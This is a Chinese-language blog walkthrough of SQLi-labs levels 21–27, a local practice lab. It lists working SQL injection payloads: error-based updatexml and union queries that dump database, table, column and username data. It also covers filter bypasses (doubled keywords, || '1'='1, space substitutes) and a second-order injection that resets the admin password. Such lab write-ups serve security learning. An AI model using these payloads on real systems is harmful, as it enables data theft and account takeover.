sql注入21-27关

21关

sql注入21-27关_第1张图片
sql注入21-27关_第2张图片

经过这两个可知,有加密,使用了base64加密
sql注入21-27关_第3张图片
解密后

base64编解码地址:
https://tool.oschina.net/encrypt?type=3
sql注入21-27关_第4张图片
可以推出,我们需要在burp suite上将编码后的内容输入

') and updatexml(1,concat(0x7e,database(),0x7e),1)# 
') union select 1,2, updatexml(1,concat(0x7e,database(),0x7e),1)# 
同时因为有回显,可以采用联合查询

sql注入21-27关_第5张图片
成功
sql注入21-27关_第6张图片

22关

22关和21关相似,只是22关闭合符号是双引号
sql注入21-27关_第7张图片

23关

在地址栏输入id,有回显
sql注入21-27关_第8张图片
不能用–+或者#进行注释,使用了or '1=1
sql注入21-27关_第9张图片

127.0.0.1/sqli-labs-master/Less-23/?id=-1' union select 1,(select database()),3 and '1

sql注入21-27关_第10张图片

24关


二次注入

我看这篇博客很详细
https://blog.csdn.net/weixin_39934520/article/details/105620978
本关的目的是,你只知道用户名,却不知道密码,让你将密码破解,并用这个用户名登录。

过程
sql注入21-27关_第11张图片
sql注入21-27关_第12张图片

用新注册的账号登录,并且修改密码
sql注入21-27关_第13张图片
此时用admin加上修改后的密码就可以登录
sql注入21-27关_第14张图片

25关

sql注入21-27关_第15张图片
sql注入21-27关_第16张图片
用regexp(正则)替换or或者and
sql注入21-27关_第17张图片

127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,(select database()),3 --+

sql注入21-27关_第18张图片

127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

sql注入21-27关_第19张图片
or被替换了,所以informat中or消失了

双写可以绕过
127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,2,(select group_concat(table_name) from infoORrmation_schema.tables where table_schema=database())--+

sql注入21-27关_第20张图片

127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,2,(select group_concat(column_name) from infoORrmation_schema.columns where table_name='users')--+

sql注入21-27关_第21张图片

127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,2,(select group_concat(username) from users)--+

sql注入21-27关_第22张图片

25a关

和25关一样,只是这个没有闭合符号
sql注入21-27关_第23张图片

26关

闭合符号如下
sql注入21-27关_第24张图片
如上图,本题绕过了注释和空格,使用 ||‘1’='1或者;%00绕过

HTML URL编码参考手册

127.0.0.1/sqli-labs-master/Less-26/?id=-1' || updatexml(1,concat(0x7e,(database())),1) || '1' ='1

这关先撤了,使用%a0或者%20代替空格,都不行
经过查看大佬的博客得出:
在 Windows 下会有无法用特殊字符代替空格的问题,这是 Apache 解析的问题,Linux 下无这个问题
sql注入21-27关_第25张图片
26a关
闭合符
sql注入21-27关_第26张图片
绕过的符号和26关一样
sql注入21-27关_第27张图片
将错误输出注释掉,所以用时间盲注
sql注入21-27关_第28张图片

27关

闭合符
sql注入21-27关_第29张图片
这次明显比前几关需要绕过的多
sql注入21-27关_第30张图片
在 Windows 下会有无法用特殊字符代替空格的问题,这是 Apache 解析的问题,Linux 下无这个问题
所以我还是撤了
union和select用双写绕过,报错注入可以用
sql注入21-27关_第31张图片
sql注入21-27关_第32张图片

你可能感兴趣的:(OWASP,web安全,安全,sql)